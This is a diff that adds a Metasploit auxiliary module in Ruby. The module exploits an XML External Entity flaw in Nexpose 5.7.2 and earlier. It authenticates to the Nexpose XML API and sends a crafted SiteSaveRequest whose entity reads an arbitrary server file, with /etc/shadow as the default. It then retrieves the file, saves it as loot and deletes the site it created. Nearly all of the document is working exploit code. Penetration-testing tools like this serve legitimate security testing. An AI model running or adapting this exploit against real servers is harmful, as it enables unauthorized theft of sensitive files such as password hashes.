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| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rapid7/nexpose' |
| 10 | + |
| 11 | +class Metasploit4 < Msf::Auxiliary |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Auxiliary::Report |
| 15 | + |
| 16 | + def initialize(info = {}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => 'Nexpose XXE Arbitrary File Read', |
| 19 | + 'Description' => %q{ |
| 20 | + Nexpose v5.7.2 and prior was vulnerable to a XML External Entity attack via a few vectors. |
| 21 | + This allowed an attacker to craft special XML that read arbitrary files from the filesystem. |
| 22 | + This module exploits the vulnerability via the XML API. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'bperry', #Discovery/Metasploit Module |
| 27 | + 'bojanz' #Independent discovery |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE |
| 30 | + )) |
| 31 | + |
| 32 | + register_options( |
| 33 | + [ |
| 34 | + OptString.new('USERNAME', [true, "The Nexpose user", "user"]), |
| 35 | + OptString.new('PASSWORD', [true, "The Nexpose password", "pass"]), |
| 36 | + OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]), |
| 37 | + ], self.class) |
| 38 | + end |
| 39 | + |
| 40 | + def run |
| 41 | + host = datastore['RHOST'] |
| 42 | + port = datastore['RPORT'] |
| 43 | + user = datastore['USERNAME'] |
| 44 | + pass = datastore['PASSWORD'] |
| 45 | + |
| 46 | + nsc = Nexpose::Connection.new(host, user, pass, port) |
| 47 | + |
| 48 | + print_status("Authenticating as: " << user) |
| 49 | + begin |
| 50 | + nsc.login |
| 51 | + report_auth_info( |
| 52 | + :host => host, |
| 53 | + :port => port, |
| 54 | + :sname => 'https', |
| 55 | + :user => user, |
| 56 | + :pass => pass, |
| 57 | + :proof => '', |
| 58 | + :active => true |
| 59 | + ) |
| 60 | + |
| 61 | + rescue |
| 62 | + print_error("Error authenticating, check your credentials") |
| 63 | + return |
| 64 | + end |
| 65 | + |
| 66 | + xml = '<!DOCTYPE foo [' |
| 67 | + xml << '<!ELEMENT host ANY>' |
| 68 | + xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">' |
| 69 | + xml << ']>' |
| 70 | + xml << '<SiteSaveRequest session-id="' |
| 71 | + |
| 72 | + xml << nsc.session_id |
| 73 | + |
| 74 | + xml << '">' |
| 75 | + xml << '<Site id="-1" name="fdsa" description="fdfdsa">' |
| 76 | + xml << '<Hosts>' |
| 77 | + xml << '<host>&xxe;</host>' |
| 78 | + xml << '</Hosts>' |
| 79 | + xml << '<Credentials />' |
| 80 | + xml << '<Alerting />' |
| 81 | + xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />' |
| 82 | + xml << '</Site>' |
| 83 | + xml << '</SiteSaveRequest>' |
| 84 | + |
| 85 | + print_status("Sending payload") |
| 86 | + begin |
| 87 | + fsa = nsc.execute(xml) |
| 88 | + rescue |
| 89 | + print_error("Error executing API call for site creation, ensure the filepath is correct") |
| 90 | + return |
| 91 | + end |
| 92 | + |
| 93 | + doc = REXML::Document.new fsa.raw_response_data |
| 94 | + id = doc.root.attributes["site-id"] |
| 95 | + |
| 96 | + xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />" |
| 97 | + |
| 98 | + print_status("Retrieving file") |
| 99 | + begin |
| 100 | + fsa = nsc.execute(xml) |
| 101 | + rescue |
| 102 | + nsc.site_delete id |
| 103 | + print_error("Error retrieving the file.") |
| 104 | + return |
| 105 | + end |
| 106 | + |
| 107 | + doc = REXML::Document.new fsa.raw_response_data |
| 108 | + |
| 109 | + print_status("Cleaning up") |
| 110 | + begin |
| 111 | + nsc.site_delete id |
| 112 | + rescue |
| 113 | + print_error("Error while cleaning up site") |
| 114 | + return |
| 115 | + end |
| 116 | + |
| 117 | + if !doc.root.elements["//host"] |
| 118 | + print_error("No file returned. Either the server is patched or the file did not exist.") |
| 119 | + return |
| 120 | + end |
| 121 | + |
| 122 | + path = store_loot('nexpose.file','text/plain', host, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{host}") |
| 123 | + print_good("File saved to path: " << path) |
| 124 | + end |
| 125 | +end |
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